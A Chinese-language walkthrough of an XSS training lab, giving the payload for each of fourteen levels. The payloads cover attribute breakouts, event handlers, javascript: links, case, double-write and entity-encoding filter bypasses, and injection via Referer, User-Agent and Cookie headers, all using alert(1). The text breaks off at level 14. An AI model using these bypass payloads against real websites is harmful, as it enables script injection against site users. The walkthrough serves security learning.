第一题 直接注入

在URL中传递参数name,直接插入JavaScript代码:
<script>alert(1)</script>
第二题value闭合

被value包含 通过闭合双引号来绕过
"><script>alert(1)</script>
第三题鼠标点击事件onclinck


因这里不会对单引号转义,那么使用单引号闭合。
' οnclick='alert(1)
然后输入框的就会被添加 onclick属性,我们点击一下输入框,即可过关
第四题

发现与第三题相似就改一下符号
" οnclick="alert(1)
第五题 (JavaScript伪协议标签)

看着和第四题一样直接输

发现onclick中间出现下划线
那么需要使用a标签的JavaScript伪协议实现href属性支持**JavaScript:**伪协议,则:后面的代码会被当成JavaScript来执行。注意这里还需要闭合input标签。
"><a href=javascript:alert(1)>

点击">
第六题 (大小写绕过)

发现href中间加了下划线
将href大写

第七题 双写绕过

发现href被过滤了 script也被过滤大小写也被过滤了。这里因为是替换为空字符,我们可以通过双写注入进行绕过。
"><scrscriptipt>alert(1)</scrscriptipt>
第八题 HTML实体编码绕过


链接被转入href中并加入了下划线

这个也不行

双写也不行
转为HTML形式
https://www.qqxiuzi.cn/bianma/zifushiti.php
将**javascript:alert(1)**进行实体编码
javascript:alert(1)
第九题 http://注释绕过


诶,好像链接合法了,但是http://在前面是无法执行JavaScript,那么如何去除呢,我们想到这个是php代码,是不是可以用双斜杠进行注释,http://放到最后面不就注释掉了嘛。注意这关也需要实体化字符串
直接:
javascript:alert(1)//http://
第十题 隐藏参数+hidden修改

将图中的hidden改为refer
同时输入?t_sort=" type="text" οnclick="alert('xss')
?t_sort是name的参数 输完后为

让后点击框
第十一题 Referer头注入
抓包

发现refer中与后台代码重合
所以为refer注入

Referer: "οnmοuseοver="alert(/xss/)
第十二题 user-agent信息
这一题和上一题一样的手法,只是字段改变了是在http请求头中的user-agent字段上。
User-Agent: "οnmοuseοver="alert(/xss/)
第十三题 cookie头
写User-Agent头和十一关同理
" type="text" οnmοusemοve="alert(1)
第十四题 exif xss
首先什么是exif
可交换图像文件格式 (英语:Exchangeable image file format,官方简称Exif ),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。可使用鼠标右键进入属性页面查看部分信息。
payload
